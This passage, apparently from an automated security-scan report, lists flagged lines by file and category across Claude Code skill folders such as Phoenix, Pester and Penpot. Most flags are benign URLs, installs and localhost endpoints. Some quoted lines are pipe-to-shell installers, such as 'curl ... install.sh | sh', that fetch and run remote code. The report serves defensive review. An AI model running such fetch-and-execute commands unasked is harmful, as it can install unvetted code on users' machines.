    | `MXE` | MX equivalent (IP) | `1.2.3.4` | | `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` |
  • Network accessline 377
    | `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` | | `URL301` | Permanent redirect | `http://example.com` |
  • Network accessline 378
    | `URL` | URL redirect (unmasked) | `http://example.com` |
  • Network accessline 379
    | `URL301` | Permanent redirect | `http://example.com` |
  • Network accessline 380
    | `FRAME` | URL redirect (masked) | `http://example.com` |

harness/claude-code/skills/nano-banana-pro-openrouter/SKILL.md

  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 67
    [Credential-related source omitted]
  • Network accessline 68
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Dangerous shell operationline 69
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 69
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 70
    | `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. |
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 101
    - [uv installer for macOS/Linux](https://astral.sh/uv/install.sh)
  • Network accessline 102
    - [uv installer for Windows](https://astral.sh/uv/install.ps1)
  • Network accessline 103
    - [OpenRouter keys](https://openrouter.ai/settings/keys)

harness/claude-code/skills/nano-banana-pro-openrouter/scripts/generate_image.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Possible obfuscationline 83
    raw = base64.b64decode(encoded)
  • Network accessline 135
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Network accessline 157
    # https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options

harness/claude-code/skills/napkin/assets/step1-activate.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">

harness/claude-code/skills/napkin/assets/step2-whiteboard.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/skills/napkin/assets/step3-draw.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/skills/napkin/assets/step4-share.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/skills/napkin/assets/step5-response.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">

harness/claude-code/skills/noob-mode/references/examples.md

  • Dangerous shell operationline 92
    Allow tool: bash with command "rm -rf node_modules && npm install"?
  • Network accessline 146
    Allow tool: WebFetch on URL "https://api.github.com/repos/github/docs/issues"?
  • Dangerous shell operationline 336
    Allow tool: bash with command "rm src/deprecated/old-auth.ts"?

harness/claude-code/skills/noob-mode/references/glossary.md

  • Network accessline 252
    **Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 254
    **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website."
  • Network accessline 280
    **Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc
  • Network accessline 282
    **Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."

harness/claude-code/skills/openapi-to-application-code/SKILL.md

  • Network accessline 19
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 20
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 21
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 29
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 30
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 31
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 149
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/claude-code/skills/optimize-simplicite-logs/scripts/SimpliciteLog2Json.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/optimize-simplicite-logs/scripts/simplicite-log2json.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/pcf-development/SKILL.md

  • Network accessline 168
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview
  • Network accessline 169
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations
  • Network accessline 170
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/

harness/claude-code/skills/pdftk-server/SKILL.md

  • Dangerous shell operationline 32
    | Debian/Ubuntu | `sudo apt-get install pdftk` |
  • Dangerous shell operationline 33
    | Red Hat/Fedora | `sudo dnf install pdftk` |

harness/claude-code/skills/pdftk-server/references/download.md

  • Dangerous shell operationline 26
    sudo apt-get install pdftk
  • Dangerous shell operationline 32
    sudo dnf install pdftk
  • Network accessline 37
    PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th
  • Network accessline 45
    [PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 49
    [PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/)
  • Network accessline 53
    PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/
  • Network accessline 58
    curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip
  • Network accessline 62
    Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`.
  • Network accessline 75
    PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t

harness/claude-code/skills/pdftk-server/references/pdftk-man-page.md

  • Network accessline 3
    - **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 4
    - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 5
    - See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation

harness/claude-code/skills/pdftk-server/references/pdftk-server-license.md

  • Network accessline 15
    [PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf)
  • Network accessline 19
    [Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 23
    PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen

harness/claude-code/skills/pdftk-server/references/third-party-materials.md

  • Network accessline 13
    [Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt)
  • Network accessline 15
    Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 25
    [Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt).
  • Network accessline 27
    [Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt).
  • Network accessline 29
    Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 43
    [Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt).
  • Network accessline 45
    Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 51
    Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org)
  • Network accessline 59
    Download the Bouncy Castle source code from: http://www.bouncycastle.org/.
  • Network accessline 67
    [Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 69
    The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/).
  • Network accessline 79
    Download the MinGW runtime source code from: http://mingw.org/.
  • Network accessline 87
    [Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 89
    Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/
  • Network accessline 95
    http://www.apache.org/licenses/LICENSE-2.0
  • Network accessline 99
    [Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt).
  • Network accessline 101
    [Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt).
  • Network accessline 103
    Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.

harness/claude-code/skills/penpot-uiux-design/SKILL.md

  • Network accessline 28
    - Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui
  • Network accessline 29
    - If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in
  • Network accessline 30
    - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`.
  • Network accessline 31
    - In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI.
  • Network accessline 32
    - VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.

harness/claude-code/skills/penpot-uiux-design/references/setup-troubleshooting.md

  • Network accessline 26
    - **Node.js v22+** - [Download](https://nodejs.org/)
  • Network accessline 42
    # Clone the repository git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 43
    git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 66
    MCP Server listening on http://localhost:4401
  • Network accessline 67
    Plugin server listening on http://localhost:4400
  • Network accessline 73
    1. Open [Penpot](https://design.penpot.app/) in your browser
  • Network accessline 75
    3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 76
    4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"**
  • Network accessline 77
    5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 92
    "servers": {       "penpot": {         "url": "http://localhost:4401/sse"
  • Network accessline 93
    "penpot": {         "url": "http://localhost:4401/sse"       }
  • Network accessline 94
    "url": "http://localhost:4401/sse"
  • Network accessline 106
    "servers": {       "penpot": {         "url": "http://localhost:4401/mcp"
  • Network accessline 107
    "penpot": {         "url": "http://localhost:4401/mcp"       }
  • Network accessline 108
    "url": "http://localhost:4401/mcp"
  • Network accessline 135
    "penpot": {          "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 136
    "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]        }
  • Network accessline 137
    "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 148
    claude mcp add penpot -t http http://localhost:4401/mcp
  • Network accessline 207
    # Test the SSE endpoint    curl http://localhost:4401/sse
  • Network accessline 208
    curl http://localhost:4401/sse
  • Network accessline 210
    # Test the MCP endpoint    curl http://localhost:4401/mcp
  • Network accessline 211
    curl http://localhost:4401/mcp
  • Network accessline 237
    1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Network accessline 238
    2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Dangerous shell operationline 275
    rm -rf node_modules
  • Network accessline 309
    curl -s http://localhost:4401/sse | head -1
  • Network accessline 326
    - **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues)
  • Network accessline 327
    - **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions)
  • Network accessline 328
    - **Penpot Community**: [community.penpot.app](https://community.penpot.app/)

harness/claude-code/skills/pester-migration/SKILL.md

  • Network accessline 27
    - Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - 
  • Network accessline 29
    - Installation reference: https://pester.dev/docs/introduction/installation.
  • Network accessline 41
    Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5.
  • Network accessline 189
    - [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5)
  • Network accessline 190
    - Installation: https://pester.dev/docs/introduction/installation.

harness/claude-code/skills/pester-migration/references/v3-to-v4.md

  • Network accessline 6
    Official guide: https://pester.dev/docs/migrations/v3-to-v4
  • Network accessline 29
    There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee
  • Network accessline 30
    that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n
  • Network accessline 31
    https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced
  • Network accessline 74
    cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873.
  • Network accessline 76
    https://github.com/pester/Pester/issues/873.
  • Network accessline 78
    Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81
  • Network accessline 80
    https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.

harness/claude-code/skills/pester-migration/references/v4-to-v5.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v4-to-v5 ·
  • Network accessline 8
    Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5
  • Network accessline 70
    > `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 72
    > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 74
    There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 75
    https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 110
    Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest
  • Network accessline 112
    template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests.
  • Network accessline 178
    it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on   `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See   https://pester.dev/docs/usage/mocking.
  • Network accessline 180
    https://pester.dev/docs/usage/mocking.

harness/claude-code/skills/pester-migration/references/v5-to-v6.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v5-to-v6
  • Network accessline 60
    single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs
  • Network accessline 62
    edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases.
  • Network accessline 197
    failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes
  • Network accessline 199
    part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.

harness/claude-code/skills/pester-should-migration/SKILL.md

  • Network accessline 121
    - `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 122
    - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 123
    - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 124
    - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 125
    - `https://pester.dev/docs/migrations/v5-to-v6`
  • Network accessline 164
    - [Should-Be command](https://pester.dev/docs/commands/Should-Be)
  • Network accessline 165
    - [Should assertions concept](https://pester.dev/docs/assertions/should-command)
  • Network accessline 166
    - [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)

harness/claude-code/skills/pester-should-migration/references/assertion-map.md

  • Network accessline 4
    Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`)
  • Network accessline 6
    open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).

harness/claude-code/skills/phoenix-cli/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 81
    export PHOENIX_HOST=http://localhost:6006
  • Access to secretsline 83
    [Credential-related source omitted]
  • Network accessline 129
    px auth status                                # check connection and authentication px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 130
    px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 142
    px profile show                              # show the active profile's settings px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key>
  • Network accessline 143
    px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my-
  • Network accessline 144
    px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate
  • Network accessline 145
    px profile create local --endpoint http://localhost:6006 --project my-app
  • Network accessline 394
    - [Phoenix application](https://app.phoenix.arize.com)

harness/claude-code/skills/phoenix-cli/references/axial-coding.md

  • Dangerous shell operationline 165
    rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"

harness/claude-code/skills/phoenix-cli/references/open-coding.md

  • Dangerous shell operationline 239
    rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"

harness/claude-code/skills/phoenix-evals/references/common-mistakes-python.md

  • Network accessline 72
    # WRONG client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 73
    client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 74
    client = Client(url="https://app.phoenix.arize.com")
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

harness/claude-code/skills/phoenix-evals/references/error-analysis.md

  • Network accessline 20
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/skills/phoenix-evals/references/observe-tracing-setup.md

  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

harness/claude-code/skills/phoenix-tracing/README.md

  • Network accessline 20
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 21
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 22
    - [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 23
    - [Python Client API](https://arize.com/docs/phoenix)
  • Network accessline 24
    - [TypeScript API](https://arize-ai.github.io/phoenix/)

harness/claude-code/skills/phoenix-tracing/SKILL.md

  • Network accessline 141
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 142
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 143
    - [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 144
    - [Python Client Package](https://arize.com/docs/phoenix)
  • Network accessline 145
    - [TypeScript Packages](https://arize-ai.github.io/phoenix/)

harness/claude-code/skills/phoenix-tracing/references/annotations-python.md

  • Network accessline 8
    from phoenix.client import Client client = Client()  # Default: http://localhost:6006
  • Network accessline 9
    client = Client()  # Default: http://localhost:6006
  • Network accessline 127
    - [Python Client API](https://arize.com/docs/phoenix)

harness/claude-code/skills/phoenix-tracing/references/annotations-typescript.md

  • Network accessline 8
    import { createClient } from "@arizeai/phoenix-client"; const client = createClient();  // Default: http://localhost:6006
  • Network accessline 9
    const client = createClient();  // Default: http://localhost:6006
  • Network accessline 173
    - [TypeScript Client API](https://arize-ai.github.io/phoenix/)

harness/claude-code/skills/phoenix-tracing/references/instrumentation-manual-python.md

  • Network accessline 47
    @tracer.tool def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 48
    def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")     return response.json()["weather"]
  • Network accessline 49
    response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 180
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto
  • Network accessline 182
    - **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/claude-code/skills/phoenix-tracing/references/instrumentation-manual-typescript.md

  • Network accessline 53
    // TOOL - function calls const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 54
    const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),   { name: "get-weather" }
  • Network accessline 55
    async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 170
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
  • Network accessline 171
    - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation

harness/claude-code/skills/phoenix-tracing/references/projects-python.md

  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/skills/phoenix-tracing/references/sessions-python.md

  • Network accessline 103
    - **TypeScript sessions:** `sessions-typescript.md` - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
  • Network accessline 104
    - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/claude-code/skills/phoenix-tracing/references/sessions-typescript.md

  • Network accessline 23
    register({   projectName: "your-app",   url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 25
    url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 95
    # Get all traces for a session npx @arizeai/phoenix-cli traces \   --endpoint http://localhost:6006 \
  • Network accessline 96
    npx @arizeai/phoenix-cli traces    --endpoint http://localhost:6006
  • Network accessline 97
    --endpoint http://localhost:6006 \

harness/claude-code/skills/phoenix-tracing/references/setup-python.md

  • Network accessline 19
    **Connects to `http://localhost:6006`, auto-instruments all supported libraries.**
  • Network accessline 34
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 35
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"  # Or Cloud URL
  • Network accessline 44
    tracer_provider = register(     project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 45
    project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint     auto_instrument=True,               # Auto-instrument supported libs
  • Network accessline 46
    endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 89
    **Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/
  • Network accessline 93
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 103
    [Credential-related source omitted]
  • Network accessline 130
    - [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 131
    - [Python Client API Docs](https://arize.com/docs/phoenix)

harness/claude-code/skills/phoenix-tracing/references/setup-typescript.md

  • Network accessline 23
    Connects to `http://localhost:6006` by default.
  • Network accessline 30
    register({   projectName: "my-app",   url: "http://localhost:6006",
  • Network accessline 31
    [Credential-related source omitted]
  • Network accessline 32
    url: "http://localhost:6006",
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 42
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"
  • Network accessline 135
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 154
    [Credential-related source omitted]
  • Network accessline 168
    - **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/
  • Network accessline 170
    - **API docs:** https://arize-ai.github.io/phoenix/

harness/claude-code/skills/phoenix-tracing/references/span-llm.md

  • Network accessline 78
    - **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
  • Network accessline 79
    - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md

harness/claude-code/skills/phoenix-tracing/references/span-retriever.md

  • Network accessline 53
    "author": "Jane Doe",   "created_at": "2024-01-15",   "url": "https://example.com/doc",
  • Network accessline 54
    "created_at": "2024-01-15",   "url": "https://example.com/doc",   "chunk_id": "chunk_123"
  • Network accessline 55
    "url": "https://example.com/doc",

harness/claude-code/skills/php-mcp-server-generator/references/templates-and-development.md

  • Network accessline 330
    <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 331
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

harness/claude-code/skills/pinecone-rag/SKILL.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]

harness/claude-code/skills/plantuml-ascii/SKILL.md

  • Broad permissionsline 1
    Bash, Write, Read
  • Dangerous shell operationline 47
    sudo apt-get install plantuml  # Ubuntu/Debian
  • Dangerous shell operationline 48
    sudo yum install plantuml      # RHEL/CentOS
  • Network accessline 50
    # Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Network accessline 51
    wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Dangerous shell operationline 355
    - [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`.
  • Network accessline 359
    - [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)

harness/claude-code/skills/playwright-automation-fill-in-form/SKILL.md

  • Network accessline 24
    - Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi
  • Network accessline 25
    - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL.
  • Network accessline 59
    **Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 60
    **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 75
    - [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.

harness/claude-code/skills/power-apps-code-app-scaffold/SKILL.md

  • Network accessline 184
    - Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.

harness/claude-code/skills/power-platform-architect/SKILL.md

